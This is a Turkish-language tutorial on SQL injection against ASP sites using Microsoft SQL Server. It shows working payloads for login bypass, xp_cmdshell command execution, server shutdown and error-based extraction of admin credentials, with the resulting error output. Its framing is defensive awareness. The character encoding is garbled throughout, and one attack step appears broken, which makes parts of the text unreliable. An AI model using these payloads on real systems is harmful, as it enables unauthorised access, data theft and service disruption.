Dünyanýn her tarafýnda, kullanýcýlarýna; kredi kartý numaralarý, kullanýcý bilgileri gibi gizli kalmasý gereken bilgilerin, ürünlere ve sipariþlere ait verilerin saklandýðý uç-arka veri depolarýyla hizmet veren web siteleri bulunmaktadýr. Ve genel olarak, web sitelerindeki form aracýlýðý ile alýnan girdi ile veritabanýndaki bilgiler filtrelendikten sonra sonucu kullanýcýya gönderen bu tür sistemlerde Yapýsal Sorgulama Dili (Structured Query Language - SQL) kullanýlmaktadýr. Uygulama içerisinde kullanýlacak parametre deðerleri alýnýrken kullanýlan formun SQL Deyimini yeniden yapýlandýrabilecek bazý özel karakterlere izin vermesiyle güvenlik problemleri ortaya çýkmaktadýr.
Bu güvenlik problemleri kullanýlarak bir uygulamanýn arkasýnda, bu uygulamaya destek veren veri tabaný üzerindeki bütün bilgilere ulaþýlabilir veya bilgiler üzerinde deðiþiklik yapýlabilir. Veya veri tabaný sisteminin komutlarý kullanýlarak kullanýlan sunucular üzerinde uygulama harici istenen iþlemler de yapýlabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karþý kontrol eden fonksiyonlarýn kullanýlmalý ve geniþ çaplý uygulamalarýn bu güvenlik açýklarýný taþýyýp taþýmadýðýný anlamak için güvenlik denetimine tabi tutulmalýdýr..
Ýlgilendiren Sektör ve Þirketler:
&l8226; Özel olarak geliþtirilmiþ uygulamalar kullanan tüm kurum ve kuruluþlar
&l8226; Internet / Intranet üzerinde uygulama geliþtiren kuruluþlar
1. Bir Uygulama Güvenliði Problemi - "Yapýsal Sorgulama Dili Kullanýmý"
Yapýsal Sorgulama Dili SQL&l039;in uygulamalarda kullanýmýna örnek vermek gerekirse;
SELECT Name, Address FROM Users WHERE UserID = &l039;2081&l039;
Þeklindeki SQL Deyimi "Users" adlý tablodan "2081" ürün ID si ile veritabanýna kayýtlý olan kiþiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayýflýk, kullanýlan formun SQL Deyimini yeniden yapýlandýrabilecek bazý özel karakterlere izin vermesiyle ortaya çýkmaktadýr. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini saðlayan fonksiyonlardýr.
Hýzla geliþen internet teknolojileri karþýsýnda yeni pazarda geç olmadan yerini almak isteyen müþterilerine daha kýsa sürede daha kullanýþlý ve ucuz çözümler sunmak zorunda olan uygulama geliþtiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadýrlar.
Giderek yaygýnlaþan ve medyanýn haber potansiyelini oluþturan; çalýnan kredi kartý numaralarý, yer altý sitelerde daðýtýlan müþteri bilgileri, þirket projeleri - yazýþmalarý yaklaþan tehlikenin habercisi olmakla beraber halen bu tür kayýplarýn yaratabileceði maddi sonuçlarý kavrayamayan ve hala "az maliyetle kurtarýlan güvenlik projeleri" &l039;yle övünen yöneticilere uyarý niteliði taþýmaktadýr. Öyleki -herzaman bir adým önde olmayý amaçlayan- saldýrganlar güvenliðin en üst seviyede olmasý beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldýrýlarýna da ara vermeksizin devam etmektedirler.
Maddi ve manevi deðere sahip þirketinizi bir anlamda iþ ortaklarýný olan uygulama geliþtiricilerin hazýrladýklarý uygulama ürünlerine emanet edildiðini düþünürsek, "uygulamalarýnýza ne kadar güvenirsiniz?" gibi bir soruya verilecek cevap büyük önem taþýmaktadýr.
Böyle bir ortamda uygun güvenlik çözümü için ayrýlmýþ bütçe bir lüks deðil her an yapýlabilecek bir saldýrýda þirketin uðrayacaðý zararý ortadan kaldýrmak için alýnmasý gereken önlem niteliði taþýmaktadýr.
2. Örnek Saldýrýlar - "Yapýlacak Hamleleri Önceden Tahmin Edebilmek..."
Güvenlikte sýkça kullanýlan bir deyim; "Saldýrganlardan korunabilmek için onlar gibi düþünmelisiniz!..". Saldýrganýn sisteminize girmek için kullanabileceði yöntemleri bilmek bu saldýrýlardan korunabilmek için alýnan önlemleri daha saðlýklý kýlacaktýr.
Örneklerde kullanacaðýmýz hedef ; Microsoft® Internet Information Server&l8482;&l039; dan Microsoft® SQL Server&l8482;&l039;a varsayýlan sistem hesabý&l039;ndan (sa) baðlanan ASP tabanlý bir kullanýcý hesabý yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritabaný ile baðlantýya geçen ve girdinin doðruluðunu kontrol eden ASP kodu.
2.1. Kötü Amaçlý (&l039;) Ýmleçleri Yardýmýyla Ýzinsiz Giriþ Saðlama:
Kullanýcý "Username" & "Password" verisini Login.asp ye yolladýktan sonra .asp kodunun yapacaðý iþ verilen yoldaki veritabaný ile baðlantý kurup ilgili tabloda Username ve Password sütünlarýnda gönderilen verinin doðruluðunu kontrol etmek olacaktýr. Bu iþlem sonucunda eðer sonuç olumluysa kullanýcýya; "Giriþ Yapýldý" olumsuzsa; "Geçersiz Kullanýcýadý & Þifre" mesajý verilecektir.
Örnekleyecek olursak;
Username : ilkay
Password : 2081
Þeklindeki kullanýcý girdisi aþaðýdaki SQL Deyimini oluþturacaktýr;
SELECT count(*) FROM Users WHERE Username = &l039;ilkay&l039; AND Password = &l039;2081&l039;
Ýlk bakýþta sorun olmayan bir SQL Deyimi... Fakat saldýrganýn;
Username : ilkay
Password : &l039; OR 1=1--
Þeklindeki girdilerle oluþturacaðý SQL Deyimi ise;
SELECT count(*) FROM Users WHERE Username = &l039;ilkay&l039; AND Password = &l039;&l039; OR 1=1 --&l039;
Olacaktýr ki, bu durumda giriþin saðlanmasý için þart "ilkay" kullanýcý adýna ait þifrenin hiçbirþey* olmasý veya ikinci bir opsiyon olarak 1=1 eþitliðinin saðlanmasýdýr.
* Hiçbiþey = Boþluk
Sonuç : 1=1 eþitliði saðlandýðýna göre saldýrý baþarýyla sonuçlanacak ve "Giriþ Yapýldý" mesajý verilecektir.
Not : Microsoft® SQL Server&l8482; "--" imlecinden sonra gelen yersiz kullanýlmýþ týrnak iþaretlerini göz ardý edecektir. Ýlk bakýþta basit gibi görünen ve sadece SQL Server&l039;a ait olan bu özellik ilerde örneklerden de anlaþýlacaðý üzere saldýrgana büyük kolaylýk saðlayacaktýr..
2.2. Uzaktan Çalýþtýrýlmasý Mümkün Olan Prosedürler:
MS SQL Server&l039;a varsayýlan sistem hesabýndan yaptýðýmýz baðlantý SQL Enjeksiyon saldýrýsýnda muhtemel saldýrgana sunucuda saklanan prosedürleri çalýþtýrabilmesi için gerekli haklarý tanýyacaktýr. Saldýrganýn kullanabileceði prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.
Username : ilkay
Password : &l039;; EXEC master..xp_cmdshell &l039;dir c:&l039;--
Girdileriyle oluþacak SQL Deyimi;
SELECT count(*) FROM Users WHERE Username = &l039;ilkay&l039; AND Password = &l039;&l039;; EXEC master..xp_cmdshell &l039;dir c:&l039;--&l039;
Sonuç : SQL Server Kullanýcýadý ve Þifreyi bulunduran sütunlarý arayacaktýr bulamadýðý için "Yanlýþ Kullanýcýadý & Þifre" mesajýný verecektir fakat bu arada arka planda "dir c:" komutunu çalýþtýracak ve saldýrgan C sürücüsünün içeriðine ulaþacaktýr.
2.3. SQL Server Hedef Alýnarak Yapýlan Saldýrýlar:
Yönetici haklarýna sahip saldýrgan silme,ekleme,deðiþtirme...vb gibi komutlarý rahatlýkla çalýþtýrabilecektir.
SHUTDOWN WITH NOWAIT SQL Server&l039;ýn kritik komutlarýndan bir tanesidir. Komutla beraber SQL Server görevine son verir.
Username : &l039;; SHUTDOWN WITH NOWAIT--
Password : [Boþ]
Bu girdilerle oluþturulan SQL Deyimi;
SELECT Username FROM Users WHERE Username=&l039;&l039;; SHUTDOWN WITH NOWAIT; --&l039; AND Password=&l039;&l039;
Sonuç : SQL Server kullanýcýadýnýn bulunamadýðý mesajýný verecektir. Fakat bununla beraber arka planda diðer komutu çalýþtýrdýðý için SQL Server kapanacaktýr.
2.4. ODBC Hatalarýndan Faydalanarak Yapýlan Saldýrýlar:
SQL Server&l039;ýn verdiði hatalardan faydalanarak veritabanýndaki neredeyse tüm bilgilere ulaþmak mümkündür.
Hedef;
http://Victim/Default.asp?id=10 þeklinde ürün ID leri ile çalýþan ASP tabanlý bir websitesi.
Saldýrý SQL Server&l039;ýn integer ve string cinsinden verileri birlikte gönderememesinden faydalýnarak yapýlabilir;
Gönderilen &l039;10&l039; sayýsýna veritabanýndan herhangi bir string eklenir.
http://Victim/Default.asp?id=10 config.asp
Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diðer tüm tablolar hakkýnda bilgi içerir. Deyimde kullanýlan "TABLE_NAME" de yine tüm tablo isimlerini içerir.
Oluþacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüþümünü yapamayan SQL Server aþaðýdaki hatayý verecektir.
Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;Table1&l039; to a column of data type int.
/Default.asp, line 5
Hata, saldýrgana "Table1" olarak bulduðu cevabý integer a çeviremediðini (dolayýsýyla veritabanýndaki ilk tablo adýnýn "Table1" olduðunu) belirtmektedir. Saldýrgan diðer tablolarýn adýný aþaðýdaki þekilde öðrenebilir...
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&l039;Table1&l039;)--
Veya doðrudan LIKE komutunu kullanarak aradýðý þeye daha kolay yoldan ulaþabilir;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &l039;%25Login%25&l039;--
SQL Server&l039;ýn vereceði hata;
Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;Admin_Login&l039; to a column of data type int.
/Default.asp, line 5
Admin_Login adýnda bir tablo olduðunu öðrenen saldýrgan muhtemelen tablodaki ilk kullanýcýadý ve þifreye ulaþmak isteyecektir. Ýzleyebileceði yol ise;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;ilkay&l039; to a column of data type int.
/Default.asp, line 5
Bu þekilde "admin" kullanýcýadýnýn varlýðýný doðrulayan saldýrganýn þifreyi ele geçirmek için kullanacaðý girdi;
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=&l039;ilkay&l039;--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error &l039;80040e07&l039;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &l039;2081&l039; to a column of data type int.
/Default.asp, line 5
Sonuç :
Username : ilkay
Password : 2081